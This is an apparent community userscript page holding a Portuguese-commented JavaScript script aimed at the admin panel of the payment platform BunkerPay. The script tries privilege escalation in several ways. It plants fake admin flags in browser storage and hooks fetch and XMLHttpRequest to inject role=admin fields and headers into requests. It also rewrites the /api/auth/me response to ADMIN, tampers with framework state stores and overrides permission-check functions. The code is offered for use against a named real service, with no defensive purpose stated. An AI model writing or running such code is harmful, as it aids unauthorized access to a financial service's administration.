Back to Repository

bunker

0 upvotes
By recargacredito2014@gmail.com
Manual (context menu)

Match Pattern

https://admin.bunkerpay.io/*

Script Code

// ============================================
// BUNKERPAY FRONTEND MANIPULATION
// ============================================

(function() {
    'use strict';
    
    console.log('[+] InjectJS iniciado no BunkerPay');
    
    // 1. MODIFICAR LOCALSTORAGE/SESSIONSTORAGE
    // Tenta fingir que é admin no storage do navegador
    const fakeAdminData = {
        role: 'ADMIN',
        type: 'admin',
        isAdmin: true,
        permissions: ['admin', 'user', 'superuser', 'all'],
        accessLevel: 999
    };
    
    Object.keys(fakeAdminData).forEach(key => {
        localStorage.setItem(key, JSON.stringify(fakeAdminData[key]));
        sessionStorage.setItem(key, JSON.stringify(fakeAdminData[key]));
    });
    
    // 2. INTERCEPTAR FETCH API (modificar requisições)
    const originalFetch = window.fetch;
    window.fetch = async function(...args) {
        let [resource, config] = args;
        
        // Modifica headers se existirem
        if (config && config.headers) {
            // Tenta adicionar header de admin
            if (config.headers instanceof Headers) {
                config.headers.set('X-Role', 'admin');
                config.headers.set('X-Admin', 'true');
            } else if (typeof config.headers === 'object') {
                config.headers['X-Role'] = 'admin';
                config.headers['X-Admin'] = 'true';
            }
        }
        
        // Modifica body se for string (JSON)
        if (config && config.body && typeof config.body === 'string') {
            try {
                let body = JSON.parse(config.body);
                
                // Tenta injetar role em qualquer requisição de update
                if (body.data) {
                    // Se tiver campo data (criptografado), adiciona campos extras
                    body._role = 'admin';
                    body.isAdmin = true;
                    body.accountType = 'admin';
                } else {
                    // Se for JSON normal, injeta role
                    body.role = 'admin';
                    body.type = 'admin';
                }
                
                config.body = JSON.stringify(body);
                console.log('[+] Body modificado:', config.body);
            } catch(e) {}
        }
        
        // Intercepta resposta
        const response = await originalFetch.apply(this, args);
        
        // Clona resposta para modificar
        const cloned = response.clone();
        const text = await cloned.text();
        
        // Se for /api/auth/me, modifica o role na resposta
        if (resource.toString().includes('/api/auth/me')) {
            try {
                let data = JSON.parse(text);
                data.role = 'ADMIN';
                data.type = 'admin';
                data.isAdmin = true;
                console.log('[+] Resposta modificada para ADMIN:', data);
                
                // Cria nova resposta modificada
                const modifiedBlob = new Blob([JSON.stringify(data)], {type: 'application/json'});
                return new Response(modifiedBlob, {
                    status: response.status,
                    statusText: response.statusText,
                    headers: response.headers
                });
            } catch(e) {}
        }
        
        return response;
    };
    
    // 3. INTERCEPTAR XMLHttpRequest (para APIs legadas)
    const originalXHR = window.XMLHttpRequest;
    window.XMLHttpRequest = function() {
        const xhr = new originalXHR();
        const originalOpen = xhr.open;
        const originalSend = xhr.send;
        
        let method, url;
        
        xhr.open = function(m, u, ...args) {
            method = m;
            url = u;
            return originalOpen.apply(this, [m, u, ...args]);
        };
        
        xhr.send = function(body) {
            if (body && typeof body === 'string') {
                try {
                    let data = JSON.parse(body);
                    data.role = 'admin';
                    data.type = 'admin';
                    body = JSON.stringify(data);
                    console.log('[+] XHR Body modificado');
                } catch(e) {}
            }
            return originalSend.call(this, body);
        };
        
        return xhr;
    };
    
    // 4. TENTAR ACESSAR ESTADO DO REACT/VUE/ANGULAR
    // Procura por __REACT_DEVTOOLS_GLOBAL_HOOK__ ou __VUE__ ou angular
    setTimeout(() => {
        // React DevTools
        if (window.__REACT_DEVTOOLS_GLOBAL_HOOK__) {
            console.log('[+] React detectado');
            // Tenta encontrar componentes com estado de usuário
            const reactRoots = document.querySelectorAll('[data-reactroot], [data-reactid]');
            console.log('[+] React roots encontrados:', reactRoots.length);
        }
        
        // Vue
        if (window.__VUE__) {
            console.log('[+] Vue detectado');
            const vueApps = document.querySelectorAll('*');
            vueApps.forEach(el => {
                if (el.__VUE__) {
                    el.__VUE__.$store && (el.__VUE__.$store.state.user = {role: 'admin'});
                }
            });
        }
        
        // Angular
        if (window.angular) {
            console.log('[+] Angular detectado');
            const injector = angular.element(document).injector();
            if (injector) {
                const $rootScope = injector.get('$rootScope');
                $rootScope.user = {role: 'admin'};
                $rootScope.$apply();
            }
        }
        
        // Redux (comum em apps modernas)
        if (window.__REDUX_DEVTOOLS_EXTENSION__ || window.store) {
            console.log('[+] Redux detectado');
            // Tenta dispatchar action para mudar role
            if (window.store && window.store.dispatch) {
                window.store.dispatch({
                    type: 'SET_USER',
                    payload: {role: 'admin', isAdmin: true}
                });
            }
        }
    }, 2000);
    
    // 5. EXPOR FUNÇÕES INTERNAS DO WEBPACK (se houver)
    // Muitas apps React expõem módulos no webpackJsonp
    setTimeout(() => {
        if (window.webpackJsonp || window.__webpack_require__) {
            console.log('[+] Webpack detectado, tentando expor módulos...');
            
            // Tenta acessar módulos internos
            const modules = window.webpackJsonp || [];
            console.log('[+] Módulos encontrados:', modules.length);
            
            // Procura por módulos que contenham "api" ou "auth"
            modules.forEach((module, idx) => {
                if (module && module[1]) {
                    const keys = Object.keys(module[1]);
                    keys.forEach(key => {
                        const fn = module[1][key];
                        if (typeof fn === 'function' && fn.toString().includes('api')) {
                            console.log(`[+] Possível API module [${idx}][${key}]`);
                        }
                    });
                }
            });
        }
    }, 3000);
    
    // 6. TENTAR CHAMAR FUNÇÕES INTERNAS DIRETAMENTE
    // Procura funções globais que possam ser APIs internas
    console.log('[+] Procurando funções internas...');
    const globalKeys = Object.keys(window).filter(k => 
        k.toLowerCase().includes('api') || 
        k.toLowerCase().includes('auth') ||
        k.toLowerCase().includes('user')
    );
    console.log('[+] Possíveis funções:', globalKeys);
    
    // 7. MODIFICAR OBJETO USER GLOBAL (se existir)
    if (window.user) {
        console.log('[+] window.user encontrado, modificando...');
        window.user.role = 'admin';
        window.user.isAdmin = true;
    }
    
    if (window.User) {
        console.log('[+] window.User encontrado, modificando...');
        window.User.role = 'admin';
    }
    
    // 8. OVERRIDE DE FUNÇÕES DE VERIFICAÇÃO
    // Se houver funções tipo isAdmin(), hasPermission(), etc
    window.isAdmin = () => true;
    window.hasPermission = () => true;
    window.checkRole = () => 'admin';
    
    console.log('[+] Script injetado com sucesso!');
    console.log('[+] Tente navegar na aplicação e veja se menus de admin aparecem');
    
})();
Install requires the InjectJS Chrome extension. Scripts run only on sites matching the pattern above. Review code before installing any community script.